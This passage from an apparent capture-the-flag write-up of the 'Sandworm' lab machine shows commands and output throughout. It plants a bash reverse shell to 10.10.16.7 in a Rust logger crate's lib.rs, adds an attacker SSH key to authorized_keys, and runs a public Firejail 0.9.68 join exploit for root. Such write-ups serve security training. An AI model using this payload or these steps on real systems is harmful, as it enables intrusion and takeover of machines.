Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
lib.rs
file to the /opt/crates/logger/src
directory:silentobserver@sandworm:/dev/shm$ cp lib.rs /opt/crates/logger/src
silentobserver@sandworm:/dev/shm$
pwnedbyelswix
file should be created in the /tmp
directory.silentobserver@sandworm:/dev/shm$ ls -l /tmp
total 24
-rw-rw-r-- 1 atlas atlas 0 Nov 18 15:54 pwned
-rw-rw-r-- 1 atlas atlas 0 Nov 18 22:26 pwnedbyelswix
drwx------ 3 root root 4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-ModemManager.service-eK6wWM
drwx------ 3 root root 4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-logind.service-lvZSaH
drwx------ 3 root root 4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-resolved.service-fJsry8
drwx------ 3 root root 4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-timesyncd.service-MSQqqG
drwx------ 3 root root 4096 Nov 18 17:39 systemd-private-8aae57c9bffa46e59597f674e82e7e36-upower.service-O1cXj7
drwx------ 2 root root 4096 Nov 18 11:07 vmware-root_809-4282301975
silentobserver@sandworm:/dev/shm$
atlas
user. Let's proceed to gain access as the user "atlas."silentobserver@sandworm:/dev/shm$ cat lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
use std::process::Command;
Command::new("bash")
.arg("-c")
.arg("bash -i >& /dev/tcp/10.10.16.7/3001 0>&1")
.spawn()
.expect("ls command failed to start");
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
silentobserver@sandworm:/dev/shm$
lib.rs
file to /opt/crates/logger/src/
, let's set up our netcat (nc) listener to capture the reverse shell:elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
lib.rs
file to /opt/crates/logger/src/
:silentobserver@sandworm:/dev/shm$ cp lib.rs /opt/crates/logger/src
atlas
:elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.218:37366.
bash: cannot set terminal process group (22106): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$
atlas@sandworm:/opt/tipnet$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=/bin/bash
atlas@sandworm:/opt/tipnet$
Shell as root
Upon listing the groups, we notice an interesting group:
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$
Set-UID
files, firejail was present in the system and was only available for users belonging to the jailer
group:atlas@sandworm:/opt/tipnet$ which firejail | xargs ls -l
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
atlas@sandworm:/opt/tipnet$
atlas@sandworm:/opt/tipnet$ firejail --version
firejail version 0.9.68
Compile time support:
- always force nonewprivs support is disabled
- AppArmor support is disabled
- AppImage support is enabled
- chroot support is enabled
- D-BUS proxy support is enabled
- file transfer support is enabled
- firetunnel support is enabled
- networking support is enabled
- output logging is enabled
- overlayfs support is disabled
- private-home support is enabled
- private-cache and tmpfs as user enabled
- SELinux support is disabled
- user namespace support is enabled
- X11 sandboxing support is enabled
atlas@sandworm:/opt/tipnet$
There is an advisory on GitHub regarding this vulnerability: GHSA-m2xv-wgqg-4gxh.
A Privilege Context Switching issue was discovered in join.c in Firejail 0.9.68. By crafting a bogus Firejail container that is accepted by the Firejail setuid-root program as a join target, a local attacker can enter an environment in which the Linux user namespace is still the initial user namespace, the NO_NEW_PRIVS prctl is not activated, and the entered mount namespace is under the attacker's control. In this way, the filesystem layout can be adjusted to gain root privileges through execution of available setuid-root binaries such as su or sudo.
I also came across the following article, which details the vulnerability. The article includes a PoC exploit in this section.
Let's proceed to exploit this vulnerability. First, I will download the exploit on my local machine:
elswix@kali$ wget https://www.openwall.com/lists/oss-security/2022/06/08/10/1 -O exploit.py
--2023-11-18 19:45:31-- https://www.openwall.com/lists/oss-security/2022/06/08/10/1
Resolving www.openwall.com (www.openwall.com)... 195.42.179.202
Connecting to www.openwall.com (www.openwall.com)|195.42.179.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8649 (8.4K) [text/plain]
Saving to: ‘exploit.py’
exploit.py 100%[=======================================================>] 8.45K 40.7KB/s in 0.2s
2023-11-18 19:45:32 (40.7 KB/s) - ‘exploit.py’ saved [8649/8649]
atlas
, as you will need a second terminal to exploit the vulnerability.You can send another reverse shell by manipulating the SSH
authorized_keys
file. First, generate new SSH keys:elswix@kali$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/elswix/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/elswix/.ssh/id_rsa
Your public key has been saved in /home/elswix/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:8TZim4s6Vpe3kwlfHcXFbSMaEtQuK4aOFmdp8HsQCTI elswix@kali
The key's randomart image is:
+---[RSA 3072]----+
| .oo o+|
| E . . o . .*|
| o . . . o o .o.|
| . o + o . |
| o + S.* . . |
| . O.++*... . |
| B.+.++ = |
| ooo o .* |
| ...oo . . |
+----[SHA256]-----+
authorized_keys
file on the victim machine:atlas@sandworm:/dev/shm$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm6SAEfouJqmdkjQ9xfzlb+g+pff/BS5sHIkPfir/KqDSR0V4TRCwKrpzs3J7ZilhvjurIFPoi5PA0wcX/9Sh8snmeh9yrQD1aJGZNBLGB//wX0j/r5vA6FSdRRA+6V2tyxmb4W/IbpBtePcSqGh7sGn1TzysyudMml3RUEPSOeUnBbFvLimm6etauY6VfTn6X2+P8SPT2+7QR+5HeBh88fs6z3P4Z9axWZ/8rRBE0zSR5UJijv1O8FwsLSoLX/KpJiADNcBrMLxxq2TRkVVYjJd2K4uwsJDg9XxTGgId9jzw3nnbyVS2ld0zDSV+D5mZa4lwErgkkYb5S+O/Ol3Uec8OnkVsRQV5I4JmBpMW3suess03BzT7osQIDzoyI7H3RjRTeD6SGhlpWf1yFWt2LZc/SXHXCa3oAk9RRPAMXigKJQIdcNI897Zhci6iN7Pv7JyutgXTNCimX2jnqo6H572CqkLUtBGjAaistcJVnqBjWW1RI6krpsOuIgSpCTYs= elswix@kali' > /home/atlas/.ssh/authorized_keys
atlas@sandworm:/dev/shm$
elswix@kali$ ssh atlas@10.10.11.218
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Nov 18 10:51:21 PM UTC 2023
System load: 0.0
Usage of /: 78.5% of 11.65GB
Memory usage: 23%
Swap usage: 0%
Processes: 251
Users logged in: 0
IPv4 address for eth0: 10.10.11.218
IPv6 address for eth0: dead:beef::250:56ff:feb9:40b8
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Nov 18 22:48:37 2023 from 10.10.16.7
atlas@sandworm:~$
atlas@sandworm:/dev/shm$ python3 exploit.py
/dev/shm/exploit.py needs to have the execute bit set for the exploit to work. Run `chmod +x /dev/shm/exploit.py` and try again.
atlas@sandworm:/dev/shm$
atlas@sandworm:/dev/shm$ chmod +x exploit.py
atlas@sandworm:/dev/shm$ ./exploit.py
You can now run 'firejail --join=22803' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
sudo su -
. First, we need to attach to that process ID:atlas@sandworm:~$ firejail --join=22803
changing root to /proc/22803/root
Warning: cleaning all supplementary groups
Child process initialized in 11.35 ms
atlas@sandworm:~$
su
command, and you will obtain a shell as root:atlas@sandworm:~$ su
root@sandworm:/home/atlas# whoami
root
root@sandworm:/home/atlas# id
uid=0(root) gid=0(root) groups=0(root)
root@sandworm:/home/atlas#
root@sandworm:/home/atlas# cd /root
root@sandworm:~# cat root.txt
3498205da1d717f043d4a64415b1b8f3
root@sandworm:~#